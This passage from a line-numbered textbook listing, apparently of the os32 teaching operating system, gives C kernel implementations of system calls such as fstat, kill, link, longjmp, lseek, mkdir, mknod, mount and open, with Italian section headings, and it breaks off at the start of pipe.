1540215     for (fdn = 0; fdn < OPEN_MAX; fdn++)
1540216       {
1540217         if (proc_table[ppid].fd[fdn].file != NULL
1540218             && proc_table[ppid].fd[fdn].file->inode != NULL)
1540219           {
1540220             //
1540221             // Copy to the forked process.
1540222             //
1540223             proc_table[pid].fd[fdn].fl_flags
1540224               = proc_table[ppid].fd[fdn].fl_flags;
1540225             proc_table[pid].fd[fdn].fd_flags
1540226               = proc_table[ppid].fd[fdn].fd_flags;
1540227             proc_table[pid].fd[fdn].file = proc_table[ppid].fd[fdn].file;
1540228             //
1540229             // Increment file reference.
1540230             //
1540231             proc_table[ppid].fd[fdn].file->references++;
1540232             //
1540233             // Check if it is a pipe and increment specific
1540234             // read/write reference counters inside the inode.
1540235             //
1540236             if (S_ISFIFO (proc_table[ppid].fd[fdn].file->inode->mode))
1540237               {
1540238                 if (proc_table[ppid].fd[fdn].fl_flags & O_RDONLY)
1540239                   {
1540240                     proc_table[ppid].fd[fdn].file->inode->pipe_ref_read++;
1540241                   }
1540242                 //
1540243                 if (proc_table[ppid].fd[fdn].fl_flags & O_WRONLY)
1540244                   {
1540245                     proc_table[ppid].fd[fdn].file->inode->
1540246                       pipe_ref_write++;
1540247                   }
1540248               }
1540249           }
1540250       }
1540251     //
1540252     // Change segment descriptor values inside the stack,
```

```
1540253     // for: DS==ES==FS==GS.
1540254     //
1540255     // First calculate the absolute stack section address, from the
1540256     // kernel point of view.
1540257     //
1540258     if (allocated_data > 0)
1540259       {
1540260         addr_stack_pointer = allocated_data;
1540261       }
1540262     else
1540263       {
1540264         addr_stack_pointer = allocated_text;
1540265       }
1540266     //
1540267     // Then calculate the effective new stack pointer.
1540268     //
1540269     addr_stack_pointer += proc_table[pid].sp;
1540270     //
1540271     // Then calculate the segment descriptor, to be written
1540272     // inside the new process stack.
1540273     //
1540274     segment_descriptor = (gdt_pid_to_segment_data (pid) * 8);
1540275     //
1540276     // Then copy inside the stack the new values for data segments.
1540277     //
1540278     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1540279             (addr_stack_pointer + 28),
1540280             &segment_descriptor, (sizeof segment_descriptor), NULL);
1540281     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1540282             (addr_stack_pointer + 32),
1540283             &segment_descriptor, (sizeof segment_descriptor), NULL);
1540284     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1540285             (addr_stack_pointer + 36),
1540286             &segment_descriptor, (sizeof segment_descriptor), NULL);
1540287     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1540288             (addr_stack_pointer + 40),
1540289             &segment_descriptor, (sizeof segment_descriptor), NULL);
1540290     //
1540291     // Change segment descriptor value inside the stack for CS,
1540292     // if so is necessary.
1540293     //
1540294     segment_descriptor = (gdt_pid_to_segment_text (pid) * 8);
1540295     //
1540296     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1540297             (addr_stack_pointer + 48),
1540298             &segment_descriptor, (sizeof segment_descriptor), NULL);
1540299     //
1540300     // Set it ready.
1540301     //
1540302     proc_table[pid].status = PROC_READY;
1540303     //
1540304     // Return the new PID.
```

```
1540305     //
1540306     return (pid);
1540307 }
```

119.8.14 kernel/lib_s/s_fstat.c

Si veda la sezione 112.45.

```
1550001 #include <kernel/proc.h>
1550002 #include <kernel/lib_s.h>
1550003 #include <errno.h>
1550004 #include <fcntl.h>
1550005 //----------------------------------------------------------------------
1550006 int
1550007 s_fstat (pid_t pid, int fdn, struct stat *buffer)
1550008 {
1550009     proc_t          *ps;
1550010     inode_t         *inode;
1550011     //
1550012     // Get process.
1550013     //
1550014     ps = proc_reference (pid);
1550015     //
1550016     // Verify if the file descriptor is valid.
1550017     //
1550018     if (ps->fd[fdn].file == NULL)
1550019       {
1550020         errset (EBADF);             // Bad file descriptor.
1550021         return (-1);
1550022       }
1550023     //
1550024     // Reach the inode.
1550025     //
1550026     inode = ps->fd[fdn].file->inode;
1550027     //
1550028     // Inode loaded: update the buffer.
1550029     //
1550030     buffer->st_dev = inode->sb->device;
1550031     buffer->st_ino = inode->ino;
1550032     buffer->st_mode = inode->mode;
1550033     buffer->st_nlink = inode->links;
1550034     buffer->st_uid = inode->uid;
1550035     buffer->st_gid = inode->gid;
1550036     if (S_ISBLK (buffer->st_mode) || S_ISCHR (buffer->st_mode))
1550037       {
1550038         buffer->st_rdev = inode->direct[0];
1550039       }
1550040     else
1550041       {
1550042         buffer->st_rdev = 0;
1550043       }
```

```
1550044     buffer->st_size = inode->size;
1550045     buffer->st_atime = inode->time;       // All times are the same for
1550046     buffer->st_mtime = inode->time;       // Minix 1 file system.
1550047     buffer->st_ctime = inode->time;       //
1550048     buffer->st_blksize = inode->sb->blksize;
1550049     buffer->st_blocks = inode->blkcnt;
1550050     //
1550051     // If the inode is a device special file, the 'st_rdev' value is
1550052     // taken from the first direct zone (as of Minix 1 organization).
1550053     //
1550054     if (S_ISBLK (inode->mode) || S_ISCHR (inode->mode))
1550055       {
1550056         buffer->st_rdev = inode->direct[0];
1550057       }
1550058     else
1550059       {
1550060         buffer->st_rdev = 0;
1550061       }
1550062     //
1550063     // Return.
1550064     //
1550065     return (0);
1550066 }
```

119.8.15 kernel/lib_s/s_kill.c

Si veda la sezione 112.25.

```
1560001 #include <kernel/proc.h>
1560002 #include <kernel/lib_s.h>
1560003 #include <errno.h>
1560004 //----------------------------------------------------------------------
1560005 int
1560006 s_kill (pid_t pid_killer, pid_t pid_target, int sig)
1560007 {
1560008     uid_t           euid = proc_table[pid_killer].euid;
1560009     uid_t           uid = proc_table[pid_killer].uid;
1560010     pid_t           pgrp = proc_table[pid_killer].pgrp;
1560011     int             p;            // Index inside the process table.
1560012     //
1560013     if (pid_target < -1)
1560014       {
1560015         errset (ESRCH);
1560016         return (-1);
1560017       }
1560018     else if (pid_target == -1)
1560019       {
1560020         if (sig == 0)
1560021           {
1560022             return (0);
1560023           }
```

```
1560024         if (euid == 0)
1560025           {
1560026             //
1560027             // Because 'pid_target' is qual to '-1' and the effective
1560028             // user identity is '0', then, all processes,
1560029             // except the kernel and init, will receive the signal.
1560030             //
1560031             // The following scan starts from 2, to preserve the
1560032             // kernel and init processes.
1560033             //
1560034             for (p = 2; p < PROCESS_MAX; p++)
1560035               {
1560036                 if (proc_table[p].status != PROC_EMPTY
1560037                     && proc_table[p].status != PROC_ZOMBIE)
1560038                   {
1560039                     proc_sig_on (p, sig);
1560040                   }
1560041               }
1560042           }
1560043         else
1560044           {
1560045             //
1560046             // Because 'pid_target' is qual to '-1', but the effective
1560047             // user identity is not '0', then, all processes owned
1560048             // by the same effective user identity, will receive the
1560049             // signal.
1560050             //
1560051             // The following scan starts from 1, to preserve the
1560052             // kernel process.
1560053             //
1560054             for (p = 1; p < PROCESS_MAX; p++)
1560055               {
1560056                 if (proc_table[p].status != PROC_EMPTY
1560057                     && proc_table[p].status != PROC_ZOMBIE
1560058                     && proc_table[p].uid == euid)
1560059                   {
1560060                     proc_sig_on (p, sig);
1560061                   }
1560062               }
1560063           }
1560064         return (0);
1560065       }
1560066     else if (pid_target == 0)
1560067       {
1560068         if (sig == 0)
1560069           {
1560070             return (0);
1560071           }
1560072         //
1560073         // The following scan starts from 1, to preserve the
1560074         // kernel process.
1560075         //
```

```
1560076         for (p = 1; p < PROCESS_MAX; p++)
1560077           {
1560078             if (proc_table[p].status != PROC_EMPTY
1560079                 && proc_table[p].status != PROC_ZOMBIE
1560080                 && proc_table[p].pgrp == pgrp)
1560081               {
1560082                 proc_sig_on (p, sig);
1560083               }
1560084           }
1560085         return (0);
1560086       }
1560087     else if (pid_target >= PROCESS_MAX)
1560088       {
1560089         errset (ESRCH);
1560090         return (-1);
1560091       }
1560092     else                          // (pid_target > 0)
1560093       {
1560094         if (proc_table[pid_target].status == PROC_EMPTY ||
1560095             proc_table[pid_target].status == PROC_ZOMBIE)
1560096           {
1560097             errset (ESRCH);
1560098             return (-1);
1560099           }
1560100         else if (uid == proc_table[pid_target].uid ||
1560101                  uid == proc_table[pid_target].suid ||
1560102                  euid == proc_table[pid_target].uid ||
1560103                  euid == proc_table[pid_target].suid || euid == 0)
1560104           {
1560105             if (sig == 0)
1560106               {
1560107                 return (0);
1560108               }
1560109             else
1560110               {
1560111                 proc_sig_on (pid_target, sig);
1560112                 return (0);
1560113               }
1560114           }
1560115         else
1560116           {
1560117             errset (EPERM);
1560118             return (-1);
1560119           }
1560120       }
1560121   }
```

119.8.16 kernel/lib_s/s_link.c

Si veda la sezione 112.26.

```
1570001 #include <kernel/fs.h>
1570002 #include <errno.h>
1570003 #include <kernel/proc.h>
1570004 #include <kernel/lib_s.h>
1570005 //----------------------------------------------------------------------
1570006 int
1570007 s_link (pid_t pid, const char *path_old, const char *path_new)
1570008 {
1570009   proc_t          *ps;
1570010   inode_t         *inode_old;
1570011   inode_t         *inode_new;
1570012   char             path_new_full[PATH_MAX];
1570013   //
1570014   // Get process.
1570015   //
1570016   ps = proc_reference (pid);
1570017   //
1570018   // Try to get the old path inode.
1570019   //
1570020   inode_old = path_inode (pid, path_old);
1570021   if (inode_old == NULL)
1570022     {
1570023       //
1570024       // Cannot get the inode: 'errno' is already set by
1570025       // 'path_inode()'.
1570026       //
1570027       errset (errno);
1570028       return (-1);
1570029     }
1570030   //
1570031   // The inode is available and checks are done: arrange to get a
1570032   // packed full path name and then the destination directory path.
1570033   //
1570034   path_full (path_new, ps->path_cwd, path_new_full);
1570035   //
1570036   //
1570037   //
1570038   inode_new = path_inode_link (pid, path_new_full, inode_old,
1570039                                (mode_t) 0);
1570040   if (inode_new == NULL)
1570041     {
1570042       inode_put (inode_old);
1570043       return (-1);
1570044     }
1570045   if (inode_new != inode_old)
1570046     {
1570047       inode_put (inode_new);
1570048       inode_put (inode_old);
1570049       errset (EUNKNOWN);          // Unknown error.
```

```
1570050         return (-1);
1570051       }
1570052     //
1570053     // Inode data is already updated by 'path_inode_link()': just put
1570054     // it and return. Please note that only one is put, because it is
1570055     // just the same of the other.
1570056     //
1570057     inode_put (inode_new);
1570058     return (0);
1570059 }
```

119.8.17 kernel/lib_s/s_longjmp.c

Si veda la sezione 112.40.

```
1580001 #include <kernel/lib_s.h>
1580002 #include <kernel/proc.h>
1580003 #include <errno.h>
1580004 #include <sys/os32.h>
1580005 //----------------------------------------------------------------------
1580006 extern uint32_t proc_stack_pointer;
1580007 //----------------------------------------------------------------------
1580008 void
1580009 s_longjmp (pid_t pid, jmp_buf env, int val)
1580010 {
1580011     jmp_stack_t *sp;
1580012     jmp_env_t   *jmpenv;
1580013     //
1580014     // Translate the pointer 'env', to the kernel point of view.
1580015     //
1580016     jmpenv = proc_offset_data_to_pointer (pid, (addr_t) env);
1580017     //
1580018     // Find where *was* the process stack in memory, from the kernel point
1580019     // of view. Please notice that the current stack at
1580020     // 'proc_stack_pointer' will be saved from the scheduler inside
1580021     // the process table. So, the replacement is made at the current
1580022     // stack position, and not inside the process table.
1580023     //
1580024     sp = proc_offset_data_to_pointer (pid, jmpenv->esp0);
1580025     //
1580026     // Restore the process stack.
1580027     //
1580028     sp->eax0     = jmpenv->eax0;
1580029     sp->ecx0     = jmpenv->ecx0;
1580030     sp->edx0     = jmpenv->edx0;
1580031     sp->ebx0     = jmpenv->ebx0;
1580032     sp->ebp0     = jmpenv->ebp0;
1580033     sp->esi0     = jmpenv->esi0;
1580034     sp->edi0     = jmpenv->edi0;
1580035     sp->ds0      = jmpenv->ds0;
1580036     sp->es0      = jmpenv->es0;
```

```
1580037     sp->fs0     = jmpenv->fs0;
1580038     sp->gs0     = jmpenv->gs0;
1580039     sp->eflags0 = jmpenv->eflags0;
1580040     sp->cs0     = jmpenv->cs0;
1580041     sp->eip0    = jmpenv->eip0;
1580042     //
1580043     sp->eip1        = jmpenv->eip1;
1580044     sp->syscallnr   = jmpenv->syscallnr;
1580045     sp->msg_pointer = jmpenv->msg_pointer;
1580046     sp->msg_size    = jmpenv->msg_size;
1580047     sp->env         = jmpenv->env;
1580048     sp->ret         = val;
1580049     sp->ebp1        = jmpenv->ebp1;
1580050     sp->eip2        = jmpenv->eip2;
1580051     //
1580052     // Replace the stack pointer too!
1580053     //
1580054     proc_stack_pointer = jmpenv->esp0;
1580055   }
```

119.8.18 kernel/lib_s/s_lseek.c

Si veda la sezione 112.28.

```
1590001   #include <kernel/proc.h>
1590002   #include <kernel/lib_s.h>
1590003   #include <errno.h>
1590004   //----------------------------------------------------------------------
1590005   off_t
1590006   s_lseek (pid_t pid, int fdn, off_t offset, int whence)
1590007   {
1590008     inode_t        *inode;
1590009     file_t         *file;
1590010     fd_t           *fd;
1590011     off_t           test_offset;
1590012     //
1590013     // Get file descriptor.
1590014     //
1590015     fd = fd_reference (pid, &fdn);
1590016     if (fd == NULL || fd->file == NULL || fd->file->inode == NULL)
1590017       {
1590018         errset (EBADF);            // Bad file descriptor.
1590019         return (-1);
1590020       }
1590021     //
1590022     // Get file table item.
1590023     //
1590024     file = fd->file;
1590025     //
1590026     // Get inode.
1590027     //
```

```
1590028     inode = file->inode;
1590029     //
1590030     // Change position depending on the 'whence' parameter.
1590031     //
1590032     if (whence == SEEK_SET)
1590033       {
1590034         if (offset < 0)
1590035           {
1590036             errset (EINVAL);       // Invalid argument.
1590037             return ((off_t) - 1);
1590038           }
1590039         else
1590040           {
1590041             fd->file->offset = offset;
1590042           }
1590043       }
1590044     else if (whence == SEEK_CUR)
1590045       {
1590046         test_offset = fd->file->offset;
1590047         test_offset += offset;
1590048         if (test_offset < 0)
1590049           {
1590050             errset (EINVAL);       // Invalid argument.
1590051             return ((off_t) - 1);
1590052           }
1590053         else
1590054           {
1590055             fd->file->offset = test_offset;
1590056           }
1590057       }
1590058     else if (whence == SEEK_END)
1590059       {
1590060         test_offset = inode->size;
1590061         test_offset += offset;
1590062         if (test_offset < 0)
1590063           {
1590064             errset (EINVAL);       // Invalid argument.
1590065             return ((off_t) - 1);
1590066           }
1590067         else
1590068           {
1590069             fd->file->offset = test_offset;
1590070           }
1590071       }
1590072     else
1590073       {
1590074         errset (EINVAL);           // Invalid argument.
1590075         return ((off_t) - 1);
1590076       }
1590077     //
1590078     // Return the new file position.
1590079     //
```

```
1590080     return (fd->file->offset);
1590081 }
```

119.8.19 kernel/lib_s/s_mkdir.c

Si veda la sezione 112.29.

```
1600001 #include <kernel/fs.h>
1600002 #include <errno.h>
1600003 #include <kernel/proc.h>
1600004 #include <libgen.h>
1600005 #include <kernel/lib_s.h>
1600006 //----------------------------------------------------------------------
1600007 int
1600008 s_mkdir (pid_t pid, const char *path, mode_t mode)
1600009 {
1600010     proc_t          *ps;
1600011     inode_t         *inode_directory;
1600012     inode_t         *inode_parent;
1600013     int              status;
1600014     char             path_directory[PATH_MAX];
1600015     char             path_copy[PATH_MAX];
1600016     char            *path_parent;
1600017     ssize_t          size_written;
1600018     //
1600019     struct
1600020     {
1600021       ino_t            ino_1;
1600022       char             name_1[NAME_MAX];
1600023       ino_t            ino_2;
1600024       char             name_2[NAME_MAX];
1600025     } directory;
1600026     //
1600027     // Get process.
1600028     //
1600029     ps = proc_reference (pid);
1600030     //
1600031     // Correct the mode with the umask.
1600032     //
1600033     mode &= ~ps->umask;
1600034     //
1600035     // Inside 'mode', the file type is fixed. No check is made.
1600036     //
1600037     mode &= 00777;
1600038     mode |= S_IFDIR;
1600039     //
1600040     // The full path and the directory path is needed.
1600041     //
1600042     status = path_full (path, ps->path_cwd, path_directory);
1600043     if (status < 0)
1600044       {
```

```
1600045             return (-1);
1600046           }
1600047         strncpy (path_copy, path_directory, PATH_MAX);
1600048         path_copy[PATH_MAX - 1] = 0;
1600049         path_parent = dirname (path_copy);
1600050         //
1600051         // Check if something already exists with the same name. The scan
1600052         // is done with kernel privileges.
1600053         //
1600054         inode_directory = path_inode ((uid_t) 0, path_directory);
1600055         if (inode_directory != NULL)
1600056           {
1600057             //
1600058             // The file already exists. Put inode and return an error.
1600059             //
1600060             inode_put (inode_directory);
1600061             errset (EEXIST);          // File exists.
1600062             return (-1);
1600063           }
1600064         //
1600065         // Try to locate the directory that should contain this one.
1600066         //
1600067         inode_parent = path_inode (pid, path_parent);
1600068         if (inode_parent == NULL)
1600069           {
1600070             //
1600071             // Cannot locate the directory: return an error. The variable
1600072             // 'errno' should already be set by 'path_inode()'.
1600073             //
1600074             errset (errno);
1600075             return (-1);
1600076           }
1600077         //
1600078         // Try to create the node: should fail if the user does not have
1600079         // enough permissions.
1600080         //
1600081         inode_directory = path_inode_link (pid, path_directory, NULL, mode);
1600082         if (inode_directory == NULL)
1600083           {
1600084             //
1600085             // Sorry: cannot create the inode! The variable 'errno' should
1600086             // already be set by 'path_inode_link()'.
1600087             //
1600088             errset (errno);
1600089             return (-1);
1600090           }
1600091         //
1600092         // Fill records for '.' and '..'.
1600093         //
1600094         directory.ino_1 = inode_directory->ino;
1600095         strncpy (directory.name_1, ".", (size_t) 3);
1600096         directory.ino_2 = inode_parent->ino;
```

```
1600097     strncpy (directory.name_2, "..", (size_t) 3);
1600098     //
1600099     // Write data.
1600100     //
1600101     size_written = inode_file_write (inode_directory, (off_t) 0,
1600102                                      &directory, (sizeof directory));
1600103     if (size_written != (sizeof directory))
1600104       {
1600105         return (-1);
1600106       }
1600107     //
1600108     // Fix directory inode links.
1600109     //
1600110     inode_directory->links = 2;
1600111     inode_directory->time = s_time (pid, NULL);
1600112     inode_directory->changed = 1;
1600113     //
1600114     // Fix parent directory inode links.
1600115     //
1600116     inode_parent->links++;
1600117     inode_parent->time = s_time (pid, NULL);
1600118     inode_parent->changed = 1;
1600119     //
1600120     // Save and put the inodes.
1600121     //
1600122     inode_save (inode_parent);
1600123     inode_save (inode_directory);
1600124     inode_put (inode_parent);
1600125     inode_put (inode_directory);
1600126     //
1600127     // Return.
1600128     //
1600129     return (0);
1600130 }
```

119.8.20 kernel/lib_s/s_mknod.c

Si veda la sezione 112.30.

```
1610001 #include <kernel/fs.h>
1610002 #include <errno.h>
1610003 #include <kernel/proc.h>
1610004 #include <kernel/lib_s.h>
1610005 //----------------------------------------------------------------------
1610006 int
1610007 s_mknod (pid_t pid, const char *path, mode_t mode, dev_t device)
1610008 {
1610009     proc_t          *ps;
1610010     inode_t         *inode;
1610011     char             full_path[PATH_MAX];
1610012     //
```

```
1610013     // Get process.
1610014     //
1610015     ps = proc_reference (pid);
1610016     //
1610017     // Correct the mode with the umask.
1610018     //
1610019     mode &= ~ps->umask;
1610020     //
1610021     // Currently must be root, unless the type is a regular file,
1610022     // or a FIFO file.
1610023     //
1610024     if (!(S_ISFIFO (mode) || S_ISREG (mode)))
1610025       {
1610026         if (ps->uid != 0)
1610027           {
1610028             errset (EPERM);       // Operation not permitted.
1610029             return (-1);
1610030           }
1610031       }
1610032     //
1610033     // Check the type of node requested.
1610034     //
1610035     if (!(S_ISBLK (mode) ||
1610036           S_ISCHR (mode) ||
1610037           S_ISREG (mode) || S_ISFIFO (mode) || S_ISDIR (mode)))
1610038       {
1610039         errset (EINVAL);          // Invalid argument.
1610040         return (-1);
1610041       }
1610042     //
1610043     // Check if something already exists with the same name.
1610044     //
1610045     inode = path_inode (pid, path);
1610046     if (inode != NULL)
1610047       {
1610048         //
1610049         // The file already exists. Put inode and return an error.
1610050         //
1610051         inode_put (inode);
1610052         errset (EEXIST);          // File exists.
1610053         return (-1);
1610054       }
1610055     //
1610056     // Try to creat the node.
1610057     //
1610058     path_full (path, ps->path_cwd, full_path);
1610059     inode = path_inode_link (pid, full_path, NULL, mode);
1610060     if (inode == NULL)
1610061       {
1610062         //
1610063         // Sorry: cannot create the inode!
1610064         //
```

```
1610065         return (-1);
1610066       }
1610067     //
1610068     // Set the device number if necessary.
1610069     //
1610070     if (S_ISBLK (mode) || S_ISCHR (mode))
1610071       {
1610072         inode->direct[0] = device;
1610073         inode->changed = 1;
1610074       }
1610075     //
1610076     // Put the inode.
1610077     //
1610078     inode_put (inode);
1610079     //
1610080     // Return.
1610081     //
1610082     return (0);
1610083 }
```

119.8.21 kernel/lib_s/s_mount.c

Si veda la sezione 112.31.

```
1620001 #include <kernel/fs.h>
1620002 #include <errno.h>
1620003 #include <kernel/proc.h>
1620004 #include <kernel/lib_s.h>
1620005 //----------------------------------------------------------------------
1620006 int
1620007 s_mount (pid_t pid, const char *path_dev, const char *path_mnt,
1620008          int options)
1620009 {
1620010   proc_t        *ps;
1620011   dev_t          device;       // Device to mount.
1620012   inode_t       *inode_mnt;    // Directory mount point.
1620013   void          *pstatus;
1620014   //
1620015   // Get process.
1620016   //
1620017   ps = proc_reference (pid);
1620018   //
1620019   // Verify to be the super user.
1620020   //
1620021   if (ps->euid != 0)
1620022     {
1620023       errset (EPERM);          // Operation not permitted.
1620024       return (-1);
1620025     }
1620026   //
1620027   device = path_device (pid, path_dev);
```

```
1620028     if (device < 0)
1620029       {
1620030         return (-1);
1620031       }
1620032     //
1620033     inode_mnt = path_inode (pid, path_mnt);
1620034     if (inode_mnt == NULL)
1620035       {
1620036         return (-1);
1620037       }
1620038     if (!S_ISDIR (inode_mnt->mode))
1620039       {
1620040         inode_put (inode_mnt);
1620041         errset (ENOTDIR);         // Not a directory.
1620042         return (-1);
1620043       }
1620044     if (inode_mnt->sb_attached != NULL)
1620045       {
1620046         inode_put (inode_mnt);
1620047         errset (EBUSY);           // Device or resource busy.
1620048         return (-1);
1620049       }
1620050     //
1620051     // All data is available.
1620052     //
1620053     pstatus = sb_mount (device, &inode_mnt, options);
1620054     if (pstatus == NULL)
1620055       {
1620056         inode_put (inode_mnt);
1620057         return (-1);
1620058       }
1620059     //
1620060     return (0);
1620061 }
```

119.8.22 kernel/lib_s/s_open.c

Si veda la sezione 112.32.

```
1630001 #include <kernel/proc.h>
1630002 #include <kernel/lib_s.h>
1630003 #include <kernel/lib_k.h>
1630004 #include <errno.h>
1630005 #include <fcntl.h>
1630006 //----------------------------------------------------------------------
1630007 int
1630008 s_open (pid_t pid, const char *path, int oflags, mode_t mode)
1630009 {
1630010     inode_t        *inode;
1630011     int             status;
1630012     file_t         *file;
```

```
1630013     fd_t           *fd;
1630014     int             fdn;
1630015     char            full_path[PATH_MAX];
1630016     int             perm;
1630017     tty_t          *tty;
1630018     mode_t          umask;
1630019     int             errno_save;
1630020     //
1630021     //  k_printf ("%s(%i, %s, %x, %05o)\n", __func__, (int) pid,
1630022     //            path, oflags, (int) mode);
1630023     //
1630024     // Correct the mode with the umask. As it is not a directory, to the
1630025     // mode are removed execution and sticky permissions.
1630026     //
1630027     umask = proc_table[pid].umask | 01111;
1630028     mode &= ~umask;
1630029     //
1630030     // Check open options.
1630031     //
1630032     if (oflags & O_WRONLY)
1630033       {
1630034         //
1630035         // The file is to be opened for write, or for read/write.
1630036         // Try to get inode.
1630037         //
1630038         inode = path_inode (pid, path);
1630039         if (inode == NULL)
1630040           {
1630041             //
1630042             // Cannot get the inode. See if there is the creation
1630043             // option.
1630044             //
1630045             if (oflags & O_CREAT)
1630046               {
1630047                 //
1630048                 // Try to create the missing inode: the file must be a
1630049                 // regular one, so add the mode.
1630050                 //
1630051                 path_full (path, proc_table[pid].path_cwd, full_path);
1630052                 inode = path_inode_link (pid, full_path, NULL,
1630053                                          (mode | S_IFREG));
1630054                 if (inode == NULL)
1630055                   {
1630056                     //
1630057                     // Sorry: cannot create the inode! Variable 'errno'
1630058                     // is already set by 'path_inode_link()'.
1630059                     //
1630060                     errset (errno);
1630061                     return (-1);
1630062                   }
1630063               }
1630064             else
```

```
1630065                 {
1630066                   //
1630067                   // Cannot open the inode. Variable 'errno'
1630068                   // should be already set by 'path_inode()'.
1630069                   //
1630070                   errset (errno);
1630071                   return (-1);
1630072                 }
1630073             }
1630074           //
1630075           // The inode was read or created: check if it must be
1630076           // truncated. It can be truncated only if it is a regular
1630077           // file.
1630078           //
1630079           if (oflags & O_TRUNC && inode->mode & S_IFREG)
1630080             {
1630081               //
1630082               // Truncate inode.
1630083               //
1630084               status = inode_truncate (inode);
1630085               if (status != 0)
1630086                 {
1630087                   //
1630088                   // Cannot truncate the inode: release it and return.
1630089                   // But this error should never happen, because the
1630090                   // function 'inode_truncate()' will not return any
1630091                   // other value than zero.
1630092                   //
1630093                   errno_save = errno;
1630094                   inode_put (inode);
1630095                   errset (errno_save);
1630096                   return (-1);
1630097                 }
1630098             }
1630099         }
1630100       else
1630101         {
1630102           //
1630103           // The file is to be opened for read, but not for write.
1630104           // Try to get inode.
1630105           //
1630106           inode = path_inode (pid, path);
1630107           if (inode == NULL)
1630108             {
1630109               //
1630110               // Cannot open the file.
1630111               //
1630112               errset (errno);
1630113               return (-1);
1630114             }
1630115         }
1630116       //
```

```
1630117     // An inode was opened: check type and access permissions.
1630118     // All file types are good, even directories, as the type
1630119     // DIR is implemented through file descriptors.
1630120     //
1630121     perm = 0;
1630122     if (oflags & O_RDONLY)
1630123       perm |= 4;
1630124     if (oflags & O_WRONLY)
1630125       perm |= 2;
1630126     status = inode_check (inode, S_IFMT, perm, proc_table[pid].euid,
1630127                           proc_table[pid].egid);
1630128     if (status != 0)
1630129       {
1630130         //
1630131         // The file type is not correct or the user does not have
1630132         // permissions.
1630133         //
1630134         return (-1);
1630135       }
1630136     //
1630137     // Allocate the file, inside the file table.
1630138     //
1630139     file = file_reference (-1);
1630140     if (file == NULL)
1630141       {
1630142         //
1630143         // Cannot allocate the file inside the file table: release the
1630144         // inode, update 'errno' and return.
1630145         //
1630146         inode_put (inode);
1630147         errset (ENFILE);          // Too many files open in system.
1630148         return (-1);
1630149       }
1630150     //
1630151     // Put some data inside the file item. Only options
1630152     // O_RDONLY and O_WRONLY are kept here, because the O_APPEND
1630153     // is saved inside the file descriptor table.
1630154     //
1630155     file->references = 1;
1630156     file->oflags = (oflags & (O_RDONLY | O_WRONLY));
1630157     file->inode = inode;
1630158     //
1630159     // Allocate the file descriptor: variable 'fdn' will be modified
1630160     // by the call to 'fd_reference()'.
1630161     //
1630162     fdn = -1;
1630163     fd = fd_reference (pid, &fdn);
1630164     if (fd == NULL)
1630165       {
1630166         //
1630167         // Cannot allocate the file descriptor: remove the item from
1630168         // file table.
```

```
1630169             //
1630170             file->references = 0;
1630171             file->oflags = 0;
1630172             file->inode = NULL;
1630173             //
1630174             // Release the inode.
1630175             //
1630176             inode_put (inode);
1630177             //
1630178             // Return an error.
1630179             //
1630180             errset (EMFILE);          // Too many open files.
1630181             return (-1);
1630182           }
1630183         //
1630184         // File descriptor allocated: put some data inside the
1630185         // file descriptor item.
1630186         //
1630187         fd->fl_flags = (oflags & (O_RDONLY | O_WRONLY | O_APPEND));
1630188         fd->fd_flags = 0;
1630189         fd->file = file;
1630190         fd->file->offset = 0;
1630191         //
1630192         // Check for particular types and situations.
1630193         //
1630194         if ((S_ISCHR (inode->mode))
1630195             && (oflags & O_RDONLY)
1630196             && (oflags & O_WRONLY))
1630197           {
1630198             //
1630199             // The inode is a character special file (related to a character
1630200             // device), opened for read and write!
1630201             //
1630202             if ((inode->direct[0] & 0xFF00) == (DEV_CONSOLE_MAJOR << 8))
1630203               {
1630204                 //
1630205                 // It is a terminal (currently only consoles are possible).
1630206                 // Get the tty reference.
1630207                 //
1630208                 tty = tty_reference ((dev_t) inode->direct[0]);
1630209                 //
1630210                 // Verify that the terminal is not already the controlling
1630211                 // terminal of some process group.
1630212                 //
1630213                 if (tty->pgrp == 0)
1630214                   {
1630215                     //
1630216                     // The terminal is free: verify if the current process
1630217                     // needs a controlling terminal.
1630218                     //
1630219                     if (proc_table[pid].device_tty == 0
1630220                         && proc_table[pid].pgrp == pid)
```

```
1630221                     {
1630222                       //
1630223                       // It is a group leader with no controlling
1630224                       // terminal: set the controlling terminal.
1630225                       //
1630226                       proc_table[pid].device_tty = inode->direct[0];
1630227                       tty->pgrp = proc_table[pid].pgrp;
1630228                     }
1630229                 }
1630230             }
1630231         }
1630232       else if (S_ISFIFO (inode->mode))
1630233         {
1630234           //
1630235           // It is FIFO (named pipe).
1630236           //
1630237           if ((oflags & O_ACCMODE) == O_RDWR)
1630238             {
1630239               inode->pipe_ref_read++;
1630240               inode->pipe_ref_write++;
1630241             }
1630242           else if (oflags & O_RDONLY)
1630243             {
1630244               inode->pipe_ref_read++;
1630245               //
1630246               // Go to sleep if there are no processes writing to the
1630247               // inode. Otherwise, wake them up.
1630248               //
1630249               if (inode->pipe_ref_write == 0)
1630250                 {
1630251                   proc_table[pid].status = PROC_SLEEPING;
1630252                   proc_table[pid].ret = 0;
1630253                   proc_table[pid].wakeup_inode = inode;
1630254                   proc_table[pid].wakeup_events = WAKEUP_EVENT_PIPE_READ;
1630255                 }
1630256               else
1630257                 {
1630258                   proc_wakeup_pipe_write (inode);
1630259                 }
1630260             }
1630261           else if (oflags & O_WRONLY)
1630262             {
1630263               inode->pipe_ref_write++;
1630264               //
1630265               // Go to sleep if there are no processes reading to the
1630266               // inode. Otherwise, wake them up.
1630267               //
1630268               if (inode->pipe_ref_read == 0)
1630269                 {
1630270                   proc_table[pid].status = PROC_SLEEPING;
1630271                   proc_table[pid].ret = 0;
1630272                   proc_table[pid].wakeup_inode = inode;
```

```
1630273                 proc_table[pid].wakeup_events = WAKEUP_EVENT_PIPE_WRITE;
1630274               }
1630275             else
1630276               {
1630277                 proc_wakeup_pipe_read (inode);
1630278               }
1630279           }
1630280       }
1630281     //
1630282     // Return the file descriptor.
1630283     //
1630284     return (fdn);
1630285 }
```

119.8.23 kernel/lib_s/s_pipe.c

Si veda la sezione 112.33.

```
1640001 #include <kernel/proc.h>
1640002 #include <kernel/lib_s.h>
1640003 #include <kernel/lib_k.h>
1640004 #include <errno.h>
1640005 #include <fcntl.h>
1640006 //----------------------------------------------------------------------
1640007 int
1640008 s_pipe (pid_t pid, int pipefd[2])
1640009 {
